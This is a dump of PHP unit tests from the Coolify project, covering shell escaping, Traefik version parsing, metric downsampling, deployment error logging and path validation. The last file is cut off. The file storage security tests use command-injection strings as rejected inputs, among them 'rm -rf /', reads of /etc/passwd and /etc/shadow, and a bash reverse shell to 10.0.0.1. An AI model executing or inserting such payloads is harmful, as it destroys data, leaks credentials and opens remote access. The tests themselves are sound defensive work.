repo stringlengths 7 63 | file_url stringlengths 81 284 | file_path stringlengths 5 200 | content stringlengths 0 32.8k | language stringclasses 1
value | license stringclasses 7
values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 15:02:33 2026-01-05 05:24:06 | truncated bool 2
classes |
|---|---|---|---|---|---|---|---|---|
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/BashEnvEscapingTest.php | tests/Unit/BashEnvEscapingTest.php | <?php
test('escapeBashEnvValue wraps simple values in single quotes', function () {
$result = escapeBashEnvValue('simple_value');
expect($result)->toBe("'simple_value'");
});
test('escapeBashEnvValue handles special bash characters', function () {
$specialChars = [
'$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$',
'#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321',
'value with spaces and $variables',
'value with `backticks`',
'value with "double quotes"',
'value|with|pipes',
'value;with;semicolons',
'value&with&ersands',
'value(with)parentheses',
'value{with}braces',
'value[with]brackets',
'value<with>angles',
'value*with*asterisks',
'value?with?questions',
'value!with!exclamations',
'value~with~tildes',
'value^with^carets',
'value%with%percents',
'value@with@ats',
'value#with#hashes',
];
foreach ($specialChars as $value) {
$result = escapeBashEnvValue($value);
// Should be wrapped in single quotes
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
// Should contain the original value (or escaped version)
expect($result)->toContain($value);
}
});
test('escapeBashEnvValue escapes single quotes correctly', function () {
// Single quotes in bash single-quoted strings must be escaped as '\''
$value = "it's a value with 'single quotes'";
$result = escapeBashEnvValue($value);
// The result should replace ' with '\''
expect($result)->toBe("'it'\\''s a value with '\\''single quotes'\\'''");
});
test('escapeBashEnvValue handles empty values', function () {
$result = escapeBashEnvValue('');
expect($result)->toBe("''");
});
test('escapeBashEnvValue handles null values', function () {
$result = escapeBashEnvValue(null);
expect($result)->toBe("''");
});
test('escapeBashEnvValue handles values with only special characters', function () {
$value = '$#@!*&^%()[]{}|;~`?"<>';
$result = escapeBashEnvValue($value);
// Should be wrapped and contain all special characters
expect($result)->toBe("'{$value}'");
});
test('escapeBashEnvValue handles multiline values', function () {
$value = "line1\nline2\nline3";
$result = escapeBashEnvValue($value);
// Should preserve newlines
expect($result)->toContain("\n");
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
});
test('escapeBashEnvValue handles values from user example', function () {
$literal = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$';
$weird = '#*#&412)$&#*!%)!@&#)*~@!&$)@*#%^)*@#!)#@~321';
$escapedLiteral = escapeBashEnvValue($literal);
$escapedWeird = escapeBashEnvValue($weird);
// These should be safely wrapped in single quotes
expect($escapedLiteral)->toBe("'{$literal}'");
expect($escapedWeird)->toBe("'{$weird}'");
// Test that when written to a file and sourced, they would work
// Format: KEY=VALUE
$envLine1 = "literal={$escapedLiteral}";
$envLine2 = "weird={$escapedWeird}";
// These should be valid bash assignment statements
expect($envLine1)->toStartWith('literal=');
expect($envLine2)->toStartWith('weird=');
});
test('escapeBashEnvValue handles backslashes', function () {
$value = 'path\\to\\file';
$result = escapeBashEnvValue($value);
// Backslashes should be preserved in single quotes
expect($result)->toBe("'{$value}'");
expect($result)->toContain('\\');
});
test('escapeBashEnvValue handles dollar signs correctly', function () {
$value = '$HOME and $PATH';
$result = escapeBashEnvValue($value);
// Dollar signs should NOT be expanded in single quotes
expect($result)->toBe("'{$value}'");
expect($result)->toContain('$HOME');
expect($result)->toContain('$PATH');
});
test('escapeBashEnvValue handles complex combination of special characters and single quotes', function () {
$value = "it's \$weird with 'quotes' and \$variables";
$result = escapeBashEnvValue($value);
// Should escape the single quotes
expect($result)->toContain("'\\''");
// Should contain the dollar signs without expansion
expect($result)->toContain('$weird');
expect($result)->toContain('$variables');
});
test('stripping quotes from real_value before escaping (literal/multiline simulation)', function () {
// Simulate what happens with literal/multiline env vars
// Their real_value comes back wrapped in quotes: 'value'
$realValueWithQuotes = "'it's a value with 'quotes''";
// Strip outer quotes
$stripped = trim($realValueWithQuotes, "'");
expect($stripped)->toBe("it's a value with 'quotes");
// Then apply bash escaping
$result = escapeBashEnvValue($stripped);
// Should properly escape the internal single quotes
expect($result)->toContain("'\\''");
// Should start and end with quotes
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
});
test('handling literal env with special bash characters', function () {
// Simulate literal/multiline env with special characters
$realValueWithQuotes = "'#*#&412)\$&#*!%)!@&#)*~@!\&\$)@*#%^)*@#!)#@~321'";
// Strip outer quotes
$stripped = trim($realValueWithQuotes, "'");
// Apply bash escaping
$result = escapeBashEnvValue($stripped);
// Should be properly quoted for bash
expect($result)->toStartWith("'");
expect($result)->toEndWith("'");
// Should contain all the special characters
expect($result)->toContain('#*#&412)');
expect($result)->toContain('$&#*!%');
});
// ==================== Tests for escapeBashDoubleQuoted() ====================
test('escapeBashDoubleQuoted wraps simple values in double quotes', function () {
$result = escapeBashDoubleQuoted('simple_value');
expect($result)->toBe('"simple_value"');
});
test('escapeBashDoubleQuoted handles null values', function () {
$result = escapeBashDoubleQuoted(null);
expect($result)->toBe('""');
});
test('escapeBashDoubleQuoted handles empty values', function () {
$result = escapeBashDoubleQuoted('');
expect($result)->toBe('""');
});
test('escapeBashDoubleQuoted preserves valid variable references', function () {
$value = '$SOURCE_COMMIT';
$result = escapeBashDoubleQuoted($value);
// Should preserve $SOURCE_COMMIT for expansion
expect($result)->toBe('"$SOURCE_COMMIT"');
expect($result)->toContain('$SOURCE_COMMIT');
});
test('escapeBashDoubleQuoted preserves multiple variable references', function () {
$value = '$VAR1 and $VAR2 and $VAR_NAME_3';
$result = escapeBashDoubleQuoted($value);
// All valid variables should be preserved
expect($result)->toBe('"$VAR1 and $VAR2 and $VAR_NAME_3"');
});
test('escapeBashDoubleQuoted preserves brace expansion variables', function () {
$value = '${SOURCE_COMMIT} and ${VAR_NAME}';
$result = escapeBashDoubleQuoted($value);
// Brace variables should be preserved
expect($result)->toBe('"${SOURCE_COMMIT} and ${VAR_NAME}"');
});
test('escapeBashDoubleQuoted escapes invalid dollar patterns', function () {
// Invalid patterns: $&, $#, $$, $*, $@, $!, etc.
$value = '$&#)@*~$&@(~#&#%(*$324803129&$#@!)*&$';
$result = escapeBashDoubleQuoted($value);
// Invalid $ should be escaped
expect($result)->toContain('\\$&#');
expect($result)->toContain('\\$&@');
expect($result)->toContain('\\$#@');
// Should be wrapped in double quotes
expect($result)->toStartWith('"');
expect($result)->toEndWith('"');
});
test('escapeBashDoubleQuoted handles mixed valid and invalid dollar signs', function () {
$value = '$SOURCE_COMMIT and $&#invalid';
$result = escapeBashDoubleQuoted($value);
// Valid variable preserved, invalid $ escaped
expect($result)->toBe('"$SOURCE_COMMIT and \\$&#invalid"');
});
test('escapeBashDoubleQuoted escapes double quotes', function () {
$value = 'value with "double quotes"';
$result = escapeBashDoubleQuoted($value);
// Double quotes should be escaped
expect($result)->toBe('"value with \\"double quotes\\""');
});
test('escapeBashDoubleQuoted escapes backticks', function () {
$value = 'value with `backticks`';
$result = escapeBashDoubleQuoted($value);
// Backticks should be escaped (prevents command substitution)
expect($result)->toBe('"value with \\`backticks\\`"');
});
test('escapeBashDoubleQuoted escapes backslashes', function () {
$value = 'path\\to\\file';
$result = escapeBashDoubleQuoted($value);
// Backslashes should be escaped
expect($result)->toBe('"path\\\\to\\\\file"');
});
test('escapeBashDoubleQuoted handles positional parameters', function () {
$value = 'args: $0 $1 $2 $9';
$result = escapeBashDoubleQuoted($value);
// Positional parameters should be preserved
expect($result)->toBe('"args: $0 $1 $2 $9"');
});
test('escapeBashDoubleQuoted handles special variable $_', function () {
$value = 'last arg: $_';
$result = escapeBashDoubleQuoted($value);
// $_ should be preserved
expect($result)->toBe('"last arg: $_"');
});
test('escapeBashDoubleQuoted handles complex real-world scenario', function () {
// Mix of valid vars, invalid $, quotes, and special chars
$value = '$SOURCE_COMMIT with $&#special and "quotes" and `cmd`';
$result = escapeBashDoubleQuoted($value);
// Valid var preserved, invalid $ escaped, quotes/backticks escaped
expect($result)->toBe('"$SOURCE_COMMIT with \\$&#special and \\"quotes\\" and \\`cmd\\`"');
});
test('escapeBashDoubleQuoted allows expansion in bash', function () {
// This is a logical test - the actual expansion happens in bash
// We're verifying the format is correct
$value = '$SOURCE_COMMIT';
$result = escapeBashDoubleQuoted($value);
// Should be: "$SOURCE_COMMIT" which bash will expand
expect($result)->toBe('"$SOURCE_COMMIT"');
expect($result)->not->toContain('\\$SOURCE');
});
test('comparison between single and double quote escaping', function () {
$value = '$SOURCE_COMMIT';
$singleQuoted = escapeBashEnvValue($value);
$doubleQuoted = escapeBashDoubleQuoted($value);
// Single quotes prevent expansion
expect($singleQuoted)->toBe("'\$SOURCE_COMMIT'");
// Double quotes allow expansion
expect($doubleQuoted)->toBe('"$SOURCE_COMMIT"');
// They're different!
expect($singleQuoted)->not->toBe($doubleQuoted);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ProxyHelperTest.php | tests/Unit/ProxyHelperTest.php | <?php
use Illuminate\Support\Facades\Log;
beforeEach(function () {
// Mock Log facade to prevent actual logging during tests
Log::shouldReceive('debug')->andReturn(null);
Log::shouldReceive('error')->andReturn(null);
});
it('parses traefik version with v prefix', function () {
$image = 'traefik:v3.6';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches[1])->toBe('v3.6');
});
it('parses traefik version without v prefix', function () {
$image = 'traefik:3.6.0';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches[1])->toBe('3.6.0');
});
it('parses traefik latest tag', function () {
$image = 'traefik:latest';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches[1])->toBe('latest');
});
it('parses traefik version with patch number', function () {
$image = 'traefik:v3.5.1';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches[1])->toBe('v3.5.1');
});
it('parses traefik version with minor only', function () {
$image = 'traefik:3.6';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches[1])->toBe('3.6');
});
it('returns null for invalid image format', function () {
$image = 'nginx:latest';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches)->toBeEmpty();
});
it('returns null for empty image string', function () {
$image = '';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches)->toBeEmpty();
});
it('handles case insensitive traefik image name', function () {
$image = 'TRAEFIK:v3.6';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches[1])->toBe('v3.6');
});
it('parses full docker image with registry', function () {
$image = 'docker.io/library/traefik:v3.6';
preg_match('/traefik:(v?\d+\.\d+(?:\.\d+)?|latest)/i', $image, $matches);
expect($matches[1])->toBe('v3.6');
});
it('compares versions correctly after stripping v prefix', function () {
$version1 = 'v3.5';
$version2 = 'v3.6';
$result = version_compare(ltrim($version1, 'v'), ltrim($version2, 'v'), '<');
expect($result)->toBeTrue();
});
it('compares same versions as equal', function () {
$version1 = 'v3.6';
$version2 = '3.6';
$result = version_compare(ltrim($version1, 'v'), ltrim($version2, 'v'), '=');
expect($result)->toBeTrue();
});
it('compares versions with patch numbers', function () {
$version1 = '3.5.1';
$version2 = '3.6.0';
$result = version_compare($version1, $version2, '<');
expect($result)->toBeTrue();
});
it('parses exact version from traefik version command output', function () {
$output = "Version: 3.6.0\nCodename: ramequin\nGo version: go1.24.10";
preg_match('/Version:\s+(\d+\.\d+\.\d+)/', $output, $matches);
expect($matches[1])->toBe('3.6.0');
});
it('parses exact version from OCI label with v prefix', function () {
$label = 'v3.6.0';
preg_match('/(\d+\.\d+\.\d+)/', $label, $matches);
expect($matches[1])->toBe('3.6.0');
});
it('parses exact version from OCI label without v prefix', function () {
$label = '3.6.0';
preg_match('/(\d+\.\d+\.\d+)/', $label, $matches);
expect($matches[1])->toBe('3.6.0');
});
it('extracts major.minor branch from full version', function () {
$version = '3.6.0';
preg_match('/^(\d+\.\d+)\.(\d+)$/', $version, $matches);
expect($matches[1])->toBe('3.6'); // branch
expect($matches[2])->toBe('0'); // patch
});
it('compares patch versions within same branch', function () {
$current = '3.6.0';
$latest = '3.6.2';
$result = version_compare($current, $latest, '<');
expect($result)->toBeTrue();
});
it('detects up-to-date patch version', function () {
$current = '3.6.2';
$latest = '3.6.2';
$result = version_compare($current, $latest, '=');
expect($result)->toBeTrue();
});
it('compares branches for minor upgrades', function () {
$currentBranch = '3.5';
$newerBranch = '3.6';
$result = version_compare($currentBranch, $newerBranch, '<');
expect($result)->toBeTrue();
});
it('identifies default as predefined network', function () {
expect(isDockerPredefinedNetwork('default'))->toBeTrue();
});
it('identifies host as predefined network', function () {
expect(isDockerPredefinedNetwork('host'))->toBeTrue();
});
it('identifies coolify as not predefined network', function () {
expect(isDockerPredefinedNetwork('coolify'))->toBeFalse();
});
it('identifies coolify-overlay as not predefined network', function () {
expect(isDockerPredefinedNetwork('coolify-overlay'))->toBeFalse();
});
it('identifies custom networks as not predefined', function () {
$customNetworks = ['my-network', 'app-network', 'custom-123'];
foreach ($customNetworks as $network) {
expect(isDockerPredefinedNetwork($network))->toBeFalse();
}
});
it('identifies bridge as not predefined (per codebase pattern)', function () {
// 'bridge' is technically a Docker predefined network, but existing codebase
// only filters 'default' and 'host', so we maintain consistency
expect(isDockerPredefinedNetwork('bridge'))->toBeFalse();
});
it('identifies none as not predefined (per codebase pattern)', function () {
// 'none' is technically a Docker predefined network, but existing codebase
// only filters 'default' and 'host', so we maintain consistency
expect(isDockerPredefinedNetwork('none'))->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/FileStorageSecurityTest.php | tests/Unit/FileStorageSecurityTest.php | <?php
/**
* File Storage Security Tests
*
* Tests to ensure file storage directory mount functionality is protected against
* command injection attacks via malicious storage paths.
*
* Related Issues: #6 in security_issues.md
* Related Files:
* - app/Models/LocalFileVolume.php
* - app/Livewire/Project/Service/Storage.php
*/
test('file storage rejects command injection in path with command substitution', function () {
expect(fn () => validateShellSafePath('/tmp$(whoami)', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with semicolon', function () {
expect(fn () => validateShellSafePath('/data; rm -rf /', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with pipe', function () {
expect(fn () => validateShellSafePath('/app | cat /etc/passwd', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with backticks', function () {
expect(fn () => validateShellSafePath('/tmp`id`/data', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with ampersand', function () {
expect(fn () => validateShellSafePath('/data && whoami', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects command injection with redirect operators', function () {
expect(fn () => validateShellSafePath('/tmp > /tmp/evil', 'storage path'))
->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/data < /etc/shadow', 'storage path'))
->toThrow(Exception::class);
});
test('file storage rejects reverse shell payload', function () {
expect(fn () => validateShellSafePath('/tmp$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', 'storage path'))
->toThrow(Exception::class);
});
test('file storage escapes paths properly', function () {
$path = "/var/www/app's data";
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/app'\\''s data'");
});
test('file storage escapes paths with spaces', function () {
$path = '/var/www/my app/data';
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/my app/data'");
});
test('file storage escapes paths with special characters', function () {
$path = '/var/www/app (production)/data';
$escaped = escapeshellarg($path);
expect($escaped)->toBe("'/var/www/app (production)/data'");
});
test('file storage accepts legitimate absolute paths', function () {
expect(fn () => validateShellSafePath('/var/www/app', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/tmp/uploads', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/data/storage', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/app/persistent-data', 'storage path'))
->not->toThrow(Exception::class);
});
test('file storage accepts paths with underscores and hyphens', function () {
expect(fn () => validateShellSafePath('/var/www/my_app-data', 'storage path'))
->not->toThrow(Exception::class);
expect(fn () => validateShellSafePath('/tmp/upload_dir-2024', 'storage path'))
->not->toThrow(Exception::class);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ServerMetricsDownsamplingTest.php | tests/Unit/ServerMetricsDownsamplingTest.php | <?php
use App\Models\Server;
/**
* Helper to call the private downsampleLTTB method on Server model via reflection.
*/
function callDownsampleLTTB(array $data, int $threshold): array
{
$server = new Server;
$reflection = new ReflectionClass($server);
$method = $reflection->getMethod('downsampleLTTB');
return $method->invoke($server, $data, $threshold);
}
it('returns data unchanged when below threshold', function () {
$data = [
[1000, 10.5],
[2000, 20.3],
[3000, 15.7],
];
$result = callDownsampleLTTB($data, 1000);
expect($result)->toBe($data);
});
it('returns data unchanged when threshold is 2 or less', function () {
$data = [
[1000, 10.5],
[2000, 20.3],
[3000, 15.7],
[4000, 25.0],
[5000, 12.0],
];
$result = callDownsampleLTTB($data, 2);
expect($result)->toBe($data);
$result = callDownsampleLTTB($data, 1);
expect($result)->toBe($data);
});
it('downsamples to target threshold count', function () {
// Seed for reproducibility
mt_srand(42);
// Generate 100 data points
$data = [];
for ($i = 0; $i < 100; $i++) {
$data[] = [$i * 1000, mt_rand(0, 100) / 10];
}
$result = callDownsampleLTTB($data, 10);
expect(count($result))->toBe(10);
});
it('preserves first and last data points', function () {
$data = [];
for ($i = 0; $i < 100; $i++) {
$data[] = [$i * 1000, $i * 1.5];
}
$result = callDownsampleLTTB($data, 20);
// First point should be preserved
expect($result[0])->toBe($data[0]);
// Last point should be preserved
expect(end($result))->toBe(end($data));
});
it('maintains chronological order', function () {
$data = [];
for ($i = 0; $i < 500; $i++) {
$data[] = [$i * 60000, sin($i / 10) * 50 + 50]; // Sine wave pattern
}
$result = callDownsampleLTTB($data, 50);
// Verify all timestamps are in non-decreasing order
$previousTimestamp = -1;
foreach ($result as $point) {
expect($point[0])->toBeGreaterThanOrEqual($previousTimestamp);
$previousTimestamp = $point[0];
}
});
it('handles large datasets efficiently', function () {
// Seed for reproducibility
mt_srand(123);
// Simulate 30 days of data at 5-second intervals (518,400 points)
// For test purposes, use 10,000 points
$data = [];
for ($i = 0; $i < 10000; $i++) {
$data[] = [$i * 5000, mt_rand(0, 100)];
}
$startTime = microtime(true);
$result = callDownsampleLTTB($data, 1000);
$executionTime = microtime(true) - $startTime;
expect(count($result))->toBe(1000);
expect($executionTime)->toBeLessThan(1.0); // Should complete in under 1 second
});
it('preserves peaks and valleys in data', function () {
// Create data with clear peaks and valleys
$data = [];
for ($i = 0; $i < 100; $i++) {
if ($i === 25) {
$value = 100; // Peak
} elseif ($i === 75) {
$value = 0; // Valley
} else {
$value = 50;
}
$data[] = [$i * 1000, $value];
}
$result = callDownsampleLTTB($data, 20);
// The peak (100) and valley (0) should be preserved due to LTTB algorithm
$values = array_column($result, 1);
expect(in_array(100, $values))->toBeTrue();
expect(in_array(0, $values))->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationDeploymentErrorLoggingTest.php | tests/Unit/ApplicationDeploymentErrorLoggingTest.php | <?php
use App\Exceptions\DeploymentException;
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
use App\Models\ApplicationDeploymentQueue;
/**
* Test to verify that deployment errors are properly logged with comprehensive details.
*
* This test suite verifies the fix for issue #7113 where deployments fail without
* clear error messages. The fix ensures that all deployment failures log:
* - The exception message
* - The exception type/class
* - The exception code (if present)
* - The file and line where the error occurred
* - Previous exception details (if chained)
* - Stack trace (first 5 lines)
*/
it('logs comprehensive error details when failed() is called', function () {
// Create a mock exception with all properties
$innerException = new \RuntimeException('Connection refused', 111);
$exception = new DeploymentException(
'Failed to start container',
500,
$innerException
);
// Mock the application deployment queue
$mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);
$logEntries = [];
// Capture all log entries
$mockQueue->shouldReceive('addLogEntry')
->withArgs(function ($message, $type = 'stdout', $hidden = false) use (&$logEntries) {
$logEntries[] = ['message' => $message, 'type' => $type, 'hidden' => $hidden];
return true;
})
->atLeast()->once();
$mockQueue->shouldReceive('update')->andReturn(true);
// Mock Application and its relationships
$mockApplication = Mockery::mock(Application::class);
$mockApplication->shouldReceive('getAttribute')
->with('build_pack')
->andReturn('dockerfile');
$mockApplication->shouldReceive('setAttribute')
->with('build_pack', 'dockerfile')
->andReturnSelf();
$mockApplication->build_pack = 'dockerfile';
$mockSettings = Mockery::mock();
$mockSettings->shouldReceive('getAttribute')
->with('is_consistent_container_name_enabled')
->andReturn(false);
$mockSettings->shouldReceive('getAttribute')
->with('custom_internal_name')
->andReturn('');
$mockSettings->shouldReceive('setAttribute')
->andReturnSelf();
$mockSettings->is_consistent_container_name_enabled = false;
$mockSettings->custom_internal_name = '';
$mockApplication->shouldReceive('getAttribute')
->with('settings')
->andReturn($mockSettings);
// Use reflection to set private properties and call the failed() method
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$reflection = new \ReflectionClass(ApplicationDeploymentJob::class);
$queueProperty = $reflection->getProperty('application_deployment_queue');
$queueProperty->setAccessible(true);
$queueProperty->setValue($job, $mockQueue);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $mockApplication);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$containerNameProperty = $reflection->getProperty('container_name');
$containerNameProperty->setAccessible(true);
$containerNameProperty->setValue($job, 'test-container');
// Mock the failDeployment method to prevent errors
$job->shouldReceive('failDeployment')->andReturn();
$job->shouldReceive('execute_remote_command')->andReturn();
// Call the failed method
$failedMethod = $reflection->getMethod('failed');
$failedMethod->setAccessible(true);
$failedMethod->invoke($job, $exception);
// Verify comprehensive error logging
$errorMessages = array_column($logEntries, 'message');
$errorMessageString = implode("\n", $errorMessages);
// Check that all critical information is logged
expect($errorMessageString)->toContain('Deployment failed: Failed to start container');
expect($errorMessageString)->toContain('Error type: App\Exceptions\DeploymentException');
expect($errorMessageString)->toContain('Error code: 500');
expect($errorMessageString)->toContain('Location:');
expect($errorMessageString)->toContain('Caused by:');
expect($errorMessageString)->toContain('RuntimeException: Connection refused');
expect($errorMessageString)->toContain('Stack trace');
// Verify stderr type is used for error logging
$stderrEntries = array_filter($logEntries, fn ($entry) => $entry['type'] === 'stderr');
expect(count($stderrEntries))->toBeGreaterThan(0);
// Verify that the main error message is NOT hidden
$mainErrorEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Deployment failed: Failed to start container'));
expect($mainErrorEntry['hidden'])->toBeFalse();
// Verify that technical details ARE hidden
$errorTypeEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Error type:'));
expect($errorTypeEntry['hidden'])->toBeTrue();
$errorCodeEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Error code:'));
expect($errorCodeEntry['hidden'])->toBeTrue();
$locationEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Location:'));
expect($locationEntry['hidden'])->toBeTrue();
$stackTraceEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Stack trace'));
expect($stackTraceEntry['hidden'])->toBeTrue();
$causedByEntry = collect($logEntries)->first(fn ($entry) => str_contains($entry['message'], 'Caused by:'));
expect($causedByEntry['hidden'])->toBeTrue();
});
it('handles exceptions with no message gracefully', function () {
$exception = new \Exception;
$mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);
$logEntries = [];
$mockQueue->shouldReceive('addLogEntry')
->withArgs(function ($message, $type = 'stdout', $hidden = false) use (&$logEntries) {
$logEntries[] = ['message' => $message, 'type' => $type, 'hidden' => $hidden];
return true;
})
->atLeast()->once();
$mockQueue->shouldReceive('update')->andReturn(true);
$mockApplication = Mockery::mock(Application::class);
$mockApplication->shouldReceive('getAttribute')
->with('build_pack')
->andReturn('dockerfile');
$mockApplication->shouldReceive('setAttribute')
->with('build_pack', 'dockerfile')
->andReturnSelf();
$mockApplication->build_pack = 'dockerfile';
$mockSettings = Mockery::mock();
$mockSettings->shouldReceive('getAttribute')
->with('is_consistent_container_name_enabled')
->andReturn(false);
$mockSettings->shouldReceive('getAttribute')
->with('custom_internal_name')
->andReturn('');
$mockSettings->shouldReceive('setAttribute')
->andReturnSelf();
$mockSettings->is_consistent_container_name_enabled = false;
$mockSettings->custom_internal_name = '';
$mockApplication->shouldReceive('getAttribute')
->with('settings')
->andReturn($mockSettings);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$reflection = new \ReflectionClass(ApplicationDeploymentJob::class);
$queueProperty = $reflection->getProperty('application_deployment_queue');
$queueProperty->setAccessible(true);
$queueProperty->setValue($job, $mockQueue);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $mockApplication);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$containerNameProperty = $reflection->getProperty('container_name');
$containerNameProperty->setAccessible(true);
$containerNameProperty->setValue($job, 'test-container');
$job->shouldReceive('failDeployment')->andReturn();
$job->shouldReceive('execute_remote_command')->andReturn();
$failedMethod = $reflection->getMethod('failed');
$failedMethod->setAccessible(true);
$failedMethod->invoke($job, $exception);
$errorMessages = array_column($logEntries, 'message');
$errorMessageString = implode("\n", $errorMessages);
// Should log "Unknown error occurred" for empty messages
expect($errorMessageString)->toContain('Unknown error occurred');
expect($errorMessageString)->toContain('Error type:');
});
it('wraps exceptions in deployment methods with DeploymentException', function () {
// Verify that our deployment methods wrap exceptions properly
$originalException = new \RuntimeException('Container not found');
try {
throw new DeploymentException('Failed to start container', 0, $originalException);
} catch (DeploymentException $e) {
expect($e->getMessage())->toBe('Failed to start container');
expect($e->getPrevious())->toBe($originalException);
expect($e->getPrevious()->getMessage())->toBe('Container not found');
}
});
it('logs error code 0 correctly', function () {
// Verify that error code 0 is logged (previously skipped due to falsy check)
$exception = new \Exception('Test error', 0);
$mockQueue = Mockery::mock(ApplicationDeploymentQueue::class);
$logEntries = [];
$mockQueue->shouldReceive('addLogEntry')
->withArgs(function ($message, $type = 'stdout', $hidden = false) use (&$logEntries) {
$logEntries[] = ['message' => $message, 'type' => $type, 'hidden' => $hidden];
return true;
})
->atLeast()->once();
$mockQueue->shouldReceive('update')->andReturn(true);
$mockApplication = Mockery::mock(Application::class);
$mockApplication->shouldReceive('getAttribute')
->with('build_pack')
->andReturn('dockerfile');
$mockApplication->shouldReceive('setAttribute')
->with('build_pack', 'dockerfile')
->andReturnSelf();
$mockApplication->build_pack = 'dockerfile';
$mockSettings = Mockery::mock();
$mockSettings->shouldReceive('getAttribute')
->with('is_consistent_container_name_enabled')
->andReturn(false);
$mockSettings->shouldReceive('getAttribute')
->with('custom_internal_name')
->andReturn('');
$mockSettings->shouldReceive('setAttribute')
->andReturnSelf();
$mockSettings->is_consistent_container_name_enabled = false;
$mockSettings->custom_internal_name = '';
$mockApplication->shouldReceive('getAttribute')
->with('settings')
->andReturn($mockSettings);
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
$job->shouldAllowMockingProtectedMethods();
$reflection = new \ReflectionClass(ApplicationDeploymentJob::class);
$queueProperty = $reflection->getProperty('application_deployment_queue');
$queueProperty->setAccessible(true);
$queueProperty->setValue($job, $mockQueue);
$applicationProperty = $reflection->getProperty('application');
$applicationProperty->setAccessible(true);
$applicationProperty->setValue($job, $mockApplication);
$pullRequestProperty = $reflection->getProperty('pull_request_id');
$pullRequestProperty->setAccessible(true);
$pullRequestProperty->setValue($job, 0);
$containerNameProperty = $reflection->getProperty('container_name');
$containerNameProperty->setAccessible(true);
$containerNameProperty->setValue($job, 'test-container');
$job->shouldReceive('failDeployment')->andReturn();
$job->shouldReceive('execute_remote_command')->andReturn();
$failedMethod = $reflection->getMethod('failed');
$failedMethod->setAccessible(true);
$failedMethod->invoke($job, $exception);
$errorMessages = array_column($logEntries, 'message');
$errorMessageString = implode("\n", $errorMessages);
// Should log error code 0 (not skip it)
expect($errorMessageString)->toContain('Error code: 0');
});
it('preserves original exception type in wrapped DeploymentException messages', function () {
// Verify that when wrapping exceptions, the original exception type is included in the message
$originalException = new \RuntimeException('Connection timeout');
// Test rolling update scenario
$wrappedException = new DeploymentException(
'Rolling update failed ('.get_class($originalException).'): '.$originalException->getMessage(),
$originalException->getCode(),
$originalException
);
